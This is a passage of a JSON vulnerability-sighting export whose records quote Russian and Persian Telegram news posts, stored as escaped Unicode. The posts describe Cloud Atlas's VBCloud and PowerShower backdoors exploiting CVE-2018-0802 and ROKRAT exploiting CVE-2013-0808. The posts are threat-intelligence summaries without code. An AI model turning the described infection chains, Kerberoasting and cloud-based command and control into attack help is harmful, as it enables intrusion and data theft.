\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0442\u0430\u0440\u0443\u044e \u0441\u0445\u0435\u043c\u0443 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0441 \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 VBShower \u0438 PowerShower, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0433\u0440\u0443\u043f\u043f\u0430 \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u0441\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u044b\u043c\u0438.", "creation_timestamp": "2026-07-24T00:00:08.274819Z"}, {"uuid": "5469174d-89db-469e-b972-015705effc02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/EchelonEyes/3514", "content": "\u041d\u043e\u0432\u044b\u0439 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0432 \u0440\u0443\u043a\u0430\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 Cloud Atlas \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043a\u0430\u043a Cloud Atlas, \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e VBCloud \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0432\u043e\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u00ab\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\u00bb \u0432 2024 \u0433\u043e\u0434\u0443. \u0411\u043e\u043b\u0435\u0435 80% \u0436\u0435\u0440\u0442\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u2013 \u0432 \u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u0438, \u041a\u0430\u043d\u0430\u0434\u0435, \u041c\u043e\u043b\u0434\u043e\u0432\u0435, \u0418\u0437\u0440\u0430\u0438\u043b\u0435, \u041a\u0438\u0440\u0433\u0438\u0437\u0438\u0438, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0435.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Cloud Atlas \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0435\u0449\u0435 \u0441 2014 \u0433\u043e\u0434\u0430. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0420\u043e\u0441\u0441\u0438\u044e \u043e\u043d\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0443\u0436\u0435 \u043d\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0430 \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 PowerShell \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c PowerShower \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0440\u043e\u0441\u0441\u0438\u044f\u043d. \u0410 \u0432 2023 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office (CVE-2017-11882) \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438. \u041e\u043d\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u0432 \u0441\u0435\u0431\u044f \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Visual Basic Script (VBS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e VBS \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\n\u0412 \u0441\u0432\u0435\u0436\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 PowerShower, \u0430 \u0442\u0430\u043a\u0436\u0435 VBCloud.\n\n\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 RTF-\u0444\u0430\u0439\u043b\u0430 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b, CVE-2018-0802, \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTML-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (HTA), \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 %APPDATA%\\Roaming\\Microsoft\\Windows\\, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0431\u044d\u043a\u0434\u043e\u0440 VBShower.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 VBShower \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u044c\u0448\u0435\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a VBS \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0430\u043f\u043a\u0430\u0445, \u0438\u043c\u0435\u043d\u0430\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 PowerShower \u0438 VBCloud.\n\nPowerShower \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d VBShower \u043f\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 PowerShell \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 C2. \u041e\u043d \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u043d\u0430\u0449\u0435\u043d \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 ZIP.\n\nKaspersky \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0446\u0435\u043b\u044b\u0445 \u0441\u0435\u043c\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a PowerShell. \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f \u0438 \u0438\u0445 \u0447\u043b\u0435\u043d\u043e\u0432 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0441\u043b\u0443\u0436\u0431 Active Directory (ADSI), \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 PowerShell \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 Kerberoasting (\u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 Active Directory), \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0433\u0440\u0443\u043f\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043f\u043a\u0438 ProgramData \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435.\n\nVBCloud \u0442\u0430\u043a\u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043a\u0430\u043a VBShower, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0441\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0434\u0438\u0441\u043a\u0430\u0445 (\u0431\u0443\u043a\u0432\u0430 \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f, \u0440\u0430\u0437\u043c\u0435\u0440 \u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e), \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0444\u0430\u0439\u043b\u0430\u0445 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 DOC, DOCX, XLS, XLSX, PDF, TXT, RTF \u0438 RAR, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0430\u0439\u043b\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 Telegram. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://securelist.com/cloud-atlas-attacks-with-new-backdoor-vbcloud/115103/ \n\n#\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435\u041f\u041e #malware", "creation_timestamp": "2026-07-26T02:02:00.207460Z"}, {"uuid": "abd09450-3f21-44c2-8b36-79e5518f94bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-0808", "type": "seen", "source": "https://t.me/KaitNews/3867", "content": "\u06cc\u06a9 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062c\u062f\u06cc\u062f\u060c \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u062e\u0648\u062f \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \n\n\ud83d\udc9a\ud83c\uddee\ud83c\uddf7\u2764\ufe0f\ud83c\uddee\ud83c\uddf7\ud83d\udc9b\ud83c\uddee\ud83c\uddf7\u2764\ufe0f\ud83c\uddee\ud83c\uddf7\ud83d\udc9a\n\n\u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0641\u0646\u200c\u0622\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0648 \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a :\n\u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u06cc\u0633\u06a9\u0648 \u062a\u0627\u0644\u0648\u0633 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0646\u062f \u06cc\u06a9 \u0627\u0628\u0632\u0627\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RAT) \u06a9\u0634\u0641 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0648 \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0648 \u062e\u0627\u0631\u062c \u06a9\u0631\u062f\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0642\u0631\u0628\u0627\u0646\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \n\n\u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627 \u0646\u0627\u0645 ROKRAT \u062a\u0648\u0633\u0637 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647 \u0628\u0627 \u0636\u0645\u06cc\u0645\u0647\u200c\u06cc \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632 Hangul \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u0634\u0648\u062f \u0648 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0631 \u06a9\u0631\u0647 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a \u0686\u0631\u0627 \u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632 \u062f\u0631 \u0627\u06cc\u0646 \u06a9\u0634\u0648\u0631 \u0628\u0647\u200c\u062c\u0627\u06cc \u0622\u0641\u06cc\u0633 \u0627\u0632 \u0645\u062d\u0628\u0648\u0628\u06cc\u062a \u0632\u06cc\u0627\u062f\u06cc \u0628\u0631\u062e\u0648\u0631\u062f\u0627\u0631 \u0627\u0633\u062a. \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0646\u062f \u0628\u0631\u062e\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0641\u06cc\u0634\u06cc\u0646\u06af \u0627\u0632 \u0637\u0631\u0641 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc Yonsei \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u062e\u0635\u0648\u0635\u06cc \u062f\u0631 \u0633\u0626\u0648\u0644 \u0627\u0633\u062a. \u0628\u0631\u0627\u06cc \u0642\u0627\u0646\u0648\u0646\u06cc \u062c\u0644\u0648\u0647 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0631 \u0642\u0633\u0645\u062a \u0622\u062f\u0631\u0633 \u0641\u0631\u0633\u062a\u0646\u062f\u0647\u060c \u0627\u0632 \u0622\u062f\u0631\u0633 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0646\u062c\u0645\u0646 \u062c\u0647\u0627\u0646\u06cc \u06a9\u0631\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \n\n\u0627\u06cc\u0646 \u0633\u0646\u062f \u0648\u0627\u0698\u0647\u200c\u067e\u0631\u062f\u0627\u0632\u0650 \u0645\u062e\u0631\u0628\u060c \u062d\u0627\u0648\u06cc \u06cc\u06a9 \u0634\u06cc\u0621 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0634\u062f\u0647\u200c\u06cc \u067e\u0633\u062a\u200c\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0627\u0633\u062a \u06a9\u0647 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 (\u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f3-\u06f0\u06f8\u06f0\u06f8) \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u06cc\u06a9 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0642\u0627\u0644\u0628 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc jpg. \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0645\u062d\u0642\u0642\u0627\u0646 \u062a\u0627\u0644\u0648\u0633 \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0648 \u0627\u062c\u0631\u0627 \u0634\u062f\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631 ROKRAT \u0628\u0631 \u0631\u0648\u06cc \u0645\u0627\u0634\u06cc\u0646 \u0642\u0631\u0628\u0627\u0646\u06cc \u0646\u0635\u0628 \u0645\u06cc\u200c\u0634\u0648\u062f. 